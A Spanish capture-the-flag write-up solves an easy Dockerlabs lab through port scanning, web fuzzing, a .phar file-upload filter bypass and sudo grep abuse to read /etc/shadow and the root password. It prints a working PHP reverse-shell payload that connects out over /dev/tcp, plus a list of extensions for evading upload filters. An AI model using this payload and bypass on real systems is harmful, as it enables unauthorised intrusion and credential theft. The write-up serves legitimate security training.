En este writeup vamos a resolver una de las máquinas de la plataforma Dockerlabs llamada Dockerlabs, con el nivel de dificultad «Fácil».
Al final del write up te cuento un resumen de toda la máquina. 🙂 Algunos conceptos trabajados:
| Fuzzing web bypass de subida de archivos RCE Abuso de permisos sudo |
Si quieres conocer más sobre la plataforma Dockerlabs y ver cómo se configura, etc, en este post te cuento cómo hacerlo.
Básicamente los pasos son: 1 – Creas una carpeta con el nombre de la máquina (es opcional, yo las creo por organización), 2 – Descargas la máquina de Dockerlabs y la mueves al directorio que has creado anterior, y 3 – Descomprimes y despliegas.
Para todas las máquinas, la IP de Dockerlabs es siempre la misma: 172.17.0.2

Una vez hemos descargado la máquina víctima de Dockerlabs y desplegada en nuestro entorno, empezamos con el escaneo.
Estructura del contenido
RECONOCIMIENTO Y ESCANEO DE PUERTOS Y SERVICIOS
Comenzamos primero viendo si la máquina está activa y podemos conectarnos a ella, y después continuamos con el descubrimiento de puertos para luego hacer un escaneo de sus servicios y versiones.
¿Está la máquina víctima activa y nos podemos comunicar con ella?
Aquí lo que haremos es ejecutar estos comandos para ver si el «host is up» y ver el SO.

En este caso el TTL es de 64 por lo que estamos antes una máquina Linux.
A partir de aquí comenzamos con el escaneo de puertos con el siguiente comando (si quieres conocer el significado de cada comando, te recomiendo leer este artículo):
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG Escaneo

El escaneo sólo nos indica que el puerto 80 http es el que está abierto.
Vamos ahora a analizar qué versiones, servicios, etc corren para ese puerto 80 a través del comando:
nmap -sCV -p80 172.17.0.2

Vemos que corre un servidor Apache de versión 2.4.58.
Si investigamos la web, vemos que se trata de una especie de réplica de la web Dockerlabs.es donde se suben y descargan las máquinas víctimas sobre las que podemos practicar, tal y como hicimos para este ejercicio.

Por lo pronto no podemos hacer mucho más en esta página….he revisado código fuente, robots.txt, whatweb, etc, pero no tenemos nada de información relevante.
El siguiente paso es hacer fuzzing web para descubrir directorios ocultos, ficheros, etc así como también subdominios que nos puedan dar más pistas.
Empezamos buscando subdominios con WFuzz usando este comando:
wfuzz -c --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.172.17.0.2" -u 172.17.0.2

Pero después de probar con más de 5.000 peticiones, no nos devuelve ningún subdominio.
DESCUBRIMIENTO DE DIRECTORIOS OCULTOS
Por lo que continuamos ahora haciendo fuzzing web con dirbuster de forma rápida con el comando «dirb http://172.17.0.2» y un diccionario común por defecto, y nos encuentra el directorio /uploads.

Vamos a probar en el navegador a introducir esa ruta y ver qué información nos devuelve:

Parece ser la ruta donde se suban y almacenen ficheros … sin embargo no sabemos desde qué página dentro de la IP nos permite subir ficheros. Si la encontramos, podríamos probar a subir un fichero malicioso que nos permitiera acceder al servidor.
Para ello vamos a hacer fuzzing web con un diccionario de más registros, por si con el primero que hicimos, no se estuvieran contemplando nuevos…
Vamos a incluir este diccionario e indicarle que también considere extensiones de archivos php, html y txt por si acaso:
dirb http://172.17.0.2 /usr/share/wordlists/dirb/big.txt -X .php,.html,.txt

Ahora nos encuentra tres rutas con extensión php que al analizarlas vemos que sólo la de machine.php es la que nos muestra un panel de subida de archivos.

A partir de aquí lo que vamos a hacer es tratar de subir un archivo malicioso que nos permita ganar acceso al servidor mediante una ejecución remota de comandos RCE.
Para ello lo primero que debemos saber es si existe algún tipo de restricción en cuanto a la subida de archivos en el servidor, es decir, si algún tipo, formato, tamaño, etc. no se nos permite subir. Con esta información ya podemos crear nosotros un payload malicioso en el formato permitido.
Para saber qué tipo de ficheros se permite, vamos a hacer una prueba subiendo un archivo malicioso con extensión .php, y vamos a ver la respuesta que devuelve el servidor interceptando antes la petición con Burpsuite.
EJECUCIÓN REMOTA DE COMANDOS (RCE)
Lo primero es crear ese php malicioso que subiremos al servidor. Lo haremos usando REVSHELLS.COM y creando el fichero con nano de esta forma:

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.1.211/4444 0>&1'"); ?>
*añadimos la referencia a php porque es el lenguaje que ejecuta por detrás la petición.
Activamos Burpsuite + Foxyproxy y capturamos la petición, la mandamos al Repeater y vemos la respuesta que da cuando el fichero tiene extensión php como en el ejemplo «rev_shell.php»:

Sabemos que «.php» NO está permitida, por lo que probamos con otro tipo de extensiones comunes como: .phtml , .php.zip, .phar, .php.jpg , .php%00.jpg , etc.
BYPASSING DE SUBIDA DE ARCHIVOS
En este caso probamos a hacer de nuevo la petición cambiando la extensión a «rev_shell.phar» y parece que al servidor sí le gusta, y nos dice que se ha subido correctamente.

Por tanto, vamos a modificar la extensión del php malicioso que creamos antes y lo volvemos a subir. Pero antes de la subida del fichero, tenemos que ponernos en escucha por el puerto 4444 que configuramos en el payload.


Y al subirlo, el servidor nos permite conectarnos y acceder como usuario www-data, confirmándose un ataque RCE:

Vemos los permisos que tiene otorgados el usuario www-data con el comando «id»:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Esto significa:
- uid=33 → tu ID de usuario
- www-data → usuario con el que corre Apache (servidor web)
- gid=33 → grupo principal
- groups=33 → solo pertenece al grupo
www-data
Esto nos indica por tanto que www-data es un usuario muy limitado que no tiene acceso a /home, /root, /etc/shadow, etc. por lo que por sí solo no podemos escalar, sin embargo, al analizar «sudo -l», vemos que el usuario www-data puede ejecutar comandos como root sin contraseña pero solo para los binarios cut y grep.
User www-data may run the following commands on if64adf6e05:
(root) NOPASSWD: /usr/bin/cut
(root) NOPASSWD: /usr/bin/grep
Es decir, no se nos permite hace un sudo su, sudo bash ni sudo nano, pero sí sudo grep y sudo cut. Esto nos dice que sólo podremos LEER cualquier archivo del sistema incluso crítico como «etc/passwd» (usuarios), «etc/shadow» (hashes de contraseñas), «home/*» (usuarios reales), etc.
Probamos primero a leer el fichero /etc/passwd para enumerar los usuarios y detectamos a «root», «ubuntu» y «dbadmin»:

Ahora a continuación vamos a leer el fichero «/etc/shadow» donde se encuentran las contraseñas hasheadas. En este caso el usuario que nos interesa es el «dbadmin»:

No he conseguido crackear ese hash para ese usuario, pero no es necesario, porque teniendo en cuenta que el puerto 22 ssh por ejemplo no se encuentra abierto (tal y como vimos en un inicio en el escaneo por TCP), podemos intentar ver de qué forma abusar de los privilegios de binarios para llegar a ser root del sistema.
ABUSO DE BINARIOS
Vamos a seguir analizando dentro del servidor, una vez ya estamos dentro al haber explotado el RCE, si existe algún fichero que pueda ser interesante. Por ejemplo, uno de los directorios que se suelen analizar es el /opt (optional) que suele ser un «cajón de sastre» donde suele contener cosas “especiales” como scripts creados por administradores, programas caseros, notas, backup.sh, password.txt, todo.md, binarios SUID o claves API…
En nuestro caso, al intentar ver su contenido, efectivamente detectamos un fichero llamado nota.txt, cuyo contenido dice: «Protege la clave de root, se encuentra en su directorio /root/clave.txt, menos mal que nadie tiene permisos para acceder a ella.».
Ahora sabiendo que, con los binarios que podemos ejecutar como sudo, aunque solo sean de lectura, nos permitirá acceder a esa ruta /root/clave.txt y leerla.
Lo hacemos mediante el abuso del binario «grep» y vemos que contiene la flag de root, por lo que si ahora cambiamos al usuario root con «su – root» y la contraseña, vemos que accedemos y ya somos root del sistema.

RESUMEN DE LA MÁQUINA DOCKERLABS
| En esta máquina de Dockerlabs (nivel fácil) comenzamos aplicando la metodología básica de reconocimiento y enumeración. Tras comprobar que la máquina estaba activa y que se trataba de un sistema Linux (TTL 64), el escaneo con Nmap reveló que solo el puerto 80 (HTTP) estaba abierto, por lo que todo el ataque debía centrarse en la aplicación web. Mediante fuzzing web se descubrió el directorio /uploads y, tras ampliar un fuzzing más completo, el archivo machine.php, que contenía un formulario de subida de archivos.A continuación, se analizó la funcionalidad de subida para detectar restricciones de extensión, interceptando la petición con Burp Suite. Aunque los archivos .php estaban bloqueados, se descubrió que la extensión .phar era aceptada y además ejecutada por el servidor. Aprovechando esto, se subió un archivo PHP malicioso camuflado como .phar, lo que permitió una ejecución remota de comandos (RCE) y el acceso inicial al sistema como el usuario www-data. Este usuario es muy limitado, algo habitual en servidores web, por lo que el siguiente paso fue buscar una vía de escalada de privilegios. La clave de la escalada estuvo en el comando sudo -l, que reveló que www-data podía ejecutar los binarios grep y cut como root sin contraseña. Aunque no permiten abrir una shell directamente, estos binarios sí permiten leer cualquier archivo del sistema, incluidos archivos críticos. Gracias a esto, se pudo enumerar usuarios, localizar una nota en /opt (un directorio habitual para pistas en laboratorios) y descubrir que la contraseña de root estaba guardada en /root/clave.txt. Usando sudo grep se leyó ese archivo, se obtuvo la contraseña y finalmente se accedió como root, completando la máquina. |
